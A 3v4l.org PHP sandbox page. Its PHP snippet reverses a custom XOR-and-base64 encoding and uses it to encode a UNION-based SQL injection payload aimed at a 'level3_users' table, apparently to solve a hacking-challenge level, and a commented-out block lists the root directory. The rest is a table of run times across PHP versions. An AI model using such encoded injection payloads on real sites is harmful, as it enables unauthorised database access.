3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,4,5,6,7 FROM level3_users WHERE 1=1 #"); print "\n"; print "\n"; #$handle = opendir('/'); #while (($file = readdir($handle)) !== false) # print $file. "\n"; #closedir($handle); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0180.00318.55
8.3.50.0110.00418.40
8.3.40.0120.00619.07
8.3.30.0100.00319.21
8.3.20.0050.00320.16
8.3.10.0040.00422.27
8.3.00.0040.00422.49
8.2.180.0180.00316.75
8.2.170.0040.01122.96
8.2.160.0120.00321.01
8.2.150.0050.00324.18
8.2.140.0050.00324.66
8.2.130.0040.01426.16
8.2.120.0080.00019.48
8.2.110.0030.00622.11
8.2.100.0060.00619.70
8.2.90.0050.00319.09
8.2.80.0050.00318.03
8.2.70.0050.00317.88
8.2.60.0030.00518.04
8.2.50.0060.00318.07
8.2.40.0000.00818.09
8.2.30.0030.00518.18
8.2.20.0030.00517.96
8.2.10.0040.00417.82
8.2.00.0050.00319.74
8.1.270.0050.00322.08
8.1.260.0000.00726.35
8.1.250.0060.00328.09
8.1.240.0060.00323.91
8.1.230.0110.00019.01
8.1.220.0030.00517.74
8.1.210.0050.00318.77
8.1.200.0030.00617.60
8.1.190.0000.00817.52
8.1.180.0060.00318.77
8.1.170.0040.00418.79
8.1.160.0050.00222.08
8.1.150.0050.00318.77
8.1.140.0000.00717.53
8.1.130.0000.00817.75
8.1.120.0040.00417.67
8.1.110.0000.00817.53
8.1.100.0000.00717.61
8.1.90.0000.00717.65
8.1.80.0040.00417.64
8.1.70.0030.00317.64
8.1.60.0030.00617.61
8.1.50.0000.00917.69
8.1.40.0050.00317.70
8.1.30.0030.00517.82
8.1.20.0040.00417.90
8.1.10.0030.00517.77
8.1.00.0040.00417.59
8.0.300.0040.00418.77
8.0.290.0050.00317.30
8.0.280.0000.00718.50
8.0.270.0000.00817.19
8.0.260.0000.00716.86
8.0.250.0030.00317.16
8.0.240.0030.00317.04
8.0.230.0070.00016.99
8.0.220.0040.00416.94
8.0.210.0000.00717.02
8.0.200.0030.00316.99
8.0.190.0080.00017.07
8.0.180.0090.00317.06
8.0.170.0050.00217.08
8.0.160.0020.00517.05
8.0.150.0070.00017.03
8.0.140.0070.00017.03
8.0.130.0070.00313.45
8.0.120.0030.00617.05
8.0.110.0050.00217.03
8.0.100.0090.00016.85
8.0.90.0000.00716.91
8.0.80.0060.00917.11
8.0.70.0070.00017.04
8.0.60.0050.00317.06
8.0.50.0000.00717.06
8.0.30.0080.01017.12
8.0.20.0130.00717.40
8.0.10.0040.00417.15
8.0.00.0130.00816.94
7.4.330.0020.00215.04
7.4.320.0000.00716.85
7.4.300.0000.00616.88
7.4.290.0000.00716.84
7.4.280.0000.00816.84
7.4.270.0030.00616.71
7.4.260.0090.00016.72
7.4.250.0000.00716.66
7.4.240.0040.00316.67
7.4.230.0000.00716.50
7.4.220.0090.00916.70
7.4.210.0070.01016.85
7.4.200.0000.00716.87
7.4.190.0000.00716.62
7.4.160.0150.00416.73
7.4.150.0130.00417.40
7.4.140.0130.00717.86
7.4.130.0090.01216.56
7.4.120.0100.00716.73
7.4.110.0190.02516.70
7.4.100.0110.00716.66
7.4.90.0060.01116.66
7.4.80.0080.01019.39
7.4.70.0090.01216.60
7.4.60.0000.01716.69
7.4.50.0000.00916.80
7.4.40.0060.00922.77
7.4.30.0040.01416.61
7.4.00.0060.01015.34
7.3.330.0030.00313.61
7.3.320.0000.00513.48
7.3.310.0070.00016.50
7.3.300.0030.00316.38
7.3.290.0110.00416.55
7.3.280.0100.00516.55
7.3.270.0110.01417.40
7.3.260.0130.00316.54
7.3.250.0130.00616.58
7.3.240.0100.01016.81
7.3.230.0150.00816.45
7.3.210.0080.00816.67
7.3.200.0120.00619.39
7.3.190.0150.00316.48
7.3.180.0080.00816.77
7.3.170.0130.00616.68
7.3.160.0000.01616.79
7.3.120.0070.00715.38
7.2.330.0150.00316.92
7.2.320.0060.01217.05
7.2.310.0140.00316.90
7.2.300.0090.00916.80
7.2.290.0100.00616.73
7.2.60.0060.00916.94
7.2.00.0030.00919.79
7.1.200.0090.00015.71
7.1.100.0030.00918.09
7.1.70.0040.00417.29
7.1.60.0090.01619.82
7.1.50.0110.01117.27
7.1.00.0030.07722.47
7.0.200.0030.00716.92
7.0.140.0030.07322.14
7.0.100.0030.04019.88
7.0.90.0130.07319.99
7.0.80.0030.04319.94
7.0.70.0030.04020.04
7.0.60.0000.04320.01
7.0.50.0030.04320.23
7.0.40.0070.04020.03
7.0.30.0000.05020.11
7.0.20.0000.05720.18
7.0.10.0070.04720.04
7.0.00.0070.08020.14
5.6.280.0000.07721.07
5.6.250.0070.04020.82
5.6.240.0070.07020.69
5.6.230.0070.05320.66
5.6.220.0030.04020.50
5.6.210.0000.04720.47
5.6.200.0030.04321.03
5.6.190.0070.04021.02
5.6.180.0100.04021.04
5.6.170.0000.04720.95
5.6.160.0030.04721.05
5.6.150.0030.04321.01
5.6.140.0000.05021.14
5.6.130.0000.05021.01
5.6.120.0070.03721.14
5.6.110.0070.05321.06
5.6.100.0000.04721.05
5.6.90.0030.04321.16
5.6.80.0030.04020.44
5.6.70.0100.06720.48
5.6.60.0070.05320.43
5.6.50.0070.08320.49
5.6.40.0100.04020.38
5.6.30.0270.06020.48
5.6.20.0030.05020.44
5.6.10.0100.06720.32
5.6.00.0070.08320.30
5.5.380.0100.04720.58
5.5.370.0030.05020.36
5.5.360.0030.04020.41
5.5.350.0130.03320.47
5.5.340.0000.04720.88
5.5.330.0000.04320.85
5.5.320.0000.04320.93
5.5.310.0000.06720.89
5.5.300.0030.03720.83
5.5.290.0170.03020.77
5.5.280.0030.04320.77
5.5.270.0000.04320.84
5.5.260.0100.07020.83
5.5.250.0100.03320.72
5.5.240.0000.04320.19
5.5.230.0070.08320.21
5.5.220.0100.07720.29
5.5.210.0070.07020.17
5.5.200.0030.04019.98
5.5.190.0100.07020.29
5.5.180.0070.06720.23
5.5.160.0030.08020.13
5.5.150.0170.06720.21
5.5.140.0100.04320.27
5.5.130.0070.03720.27
5.5.120.0070.08019.98
5.5.110.0070.07720.25
5.5.100.0100.06720.08
5.5.90.0100.06020.17
5.5.80.0070.05020.07
5.5.70.0100.06020.07
5.5.60.0030.08320.14
5.5.50.0000.08320.03
5.5.40.0070.04719.97
5.5.30.0070.04720.00
5.5.20.0070.06720.08
5.5.10.0000.06320.07
5.5.00.0100.06320.10
5.4.450.0030.04319.51
5.4.440.0000.04019.54
5.4.430.0030.04019.28
5.4.420.0100.03719.50
5.4.410.0200.05719.41
5.4.400.0030.03719.19
5.4.390.0030.07718.95
5.4.380.0070.04319.21
5.4.370.0130.03719.16
5.4.360.0070.04319.03
5.4.350.0100.07019.12
5.4.340.0200.05019.03
5.4.320.0070.07719.05
5.4.310.0070.08018.88
5.4.300.0100.07319.02
5.4.290.0070.06319.07
5.4.280.0170.07319.04
5.4.270.0030.08318.95
5.4.260.0130.05319.10
5.4.250.0270.05319.19
5.4.240.0170.07319.04
5.4.230.0000.06319.20
5.4.220.0070.07319.17
5.4.210.0070.06018.94
5.4.200.0030.07718.94
5.4.190.0030.07019.17
5.4.180.0070.04318.84
5.4.170.0030.06719.08
5.4.160.0200.04019.16
5.4.150.0030.08319.11
5.4.140.0000.08016.47
5.4.130.0100.05716.45
5.4.120.0000.07716.45
5.4.110.0070.04316.54
5.4.100.0100.07316.54
5.4.90.0030.05716.48
5.4.80.0000.07716.47
5.4.70.0070.07016.41
5.4.60.0000.04316.54
5.4.50.0170.06716.30
5.4.40.0000.06316.46
5.4.30.0000.04716.46
5.4.20.0000.08016.44
5.4.10.0100.04016.32
5.4.00.0070.07315.90
5.3.290.0130.07714.66
5.3.280.0130.05314.70
5.3.270.0100.07714.59
5.3.260.0100.07714.73
5.3.250.0030.07014.58
5.3.240.0100.07714.54
5.3.230.0070.05314.72
5.3.220.0030.06314.64
5.3.210.0030.07714.66
5.3.200.0070.03714.55
5.3.190.0100.07014.52
5.3.180.0000.06314.69
5.3.170.0070.06014.49
5.3.160.0030.04314.56
5.3.150.0100.04314.60
5.3.140.0100.07014.58
5.3.130.0000.05014.50
5.3.120.0030.07014.58
5.3.110.0100.07314.51
5.3.100.0070.05314.16
5.3.90.0100.04014.07
5.3.80.0170.05314.05
5.3.70.0070.06714.13
5.3.60.0100.03313.93
5.3.50.0100.07014.09
5.3.40.0070.07313.96
5.3.30.0070.06714.01
5.3.20.0030.06313.79
5.3.10.0070.06713.59
5.3.00.0030.07713.53
5.2.170.0030.05711.61
5.2.160.0130.05311.61
5.2.150.0030.06011.61
5.2.140.0130.05311.61
5.2.130.0070.05711.61
5.2.120.0030.05311.61
5.2.110.0030.06311.61
5.2.100.0030.06711.61
5.2.90.0100.06011.61
5.2.80.0030.06711.61
5.2.70.0070.06011.61
5.2.60.0030.06711.61
5.2.50.0070.06011.61
5.2.40.0070.05711.61
5.2.30.0170.05011.61
5.2.20.0070.04711.61
5.2.10.0000.03711.61
5.2.00.0000.05311.61
5.1.60.0100.05011.61
5.1.50.0130.04311.61
5.1.40.0070.05011.61
5.1.30.0030.06011.61
5.1.20.0070.03011.61
5.1.10.0030.04311.61
5.1.00.0030.05311.61
5.0.50.0030.04711.61
5.0.40.0030.04311.61
5.0.30.0100.05311.61
5.0.20.0030.02311.61
5.0.10.0070.04011.61
5.0.00.0070.05311.61
4.4.90.0030.01711.61
4.4.80.0070.01711.61
4.4.70.0030.03711.61
4.4.60.0030.02711.61
4.4.50.0000.03011.61
4.4.40.0030.05711.61
4.4.30.0030.01711.61
4.4.20.0030.03011.61
4.4.10.0030.03711.61
4.4.00.0070.05011.61
4.3.110.0000.02311.61
4.3.100.0030.02311.61
4.3.90.0100.02011.61
4.3.80.0000.04011.61
4.3.70.0030.03011.61
4.3.60.0030.02311.61
4.3.50.0000.02011.61
4.3.40.0030.05311.61
4.3.30.0000.03711.61
4.3.20.0030.01711.61
4.3.10.0000.02011.61
4.3.00.0000.03711.61

preferences:
38.56 ms | 400 KiB | 5 Q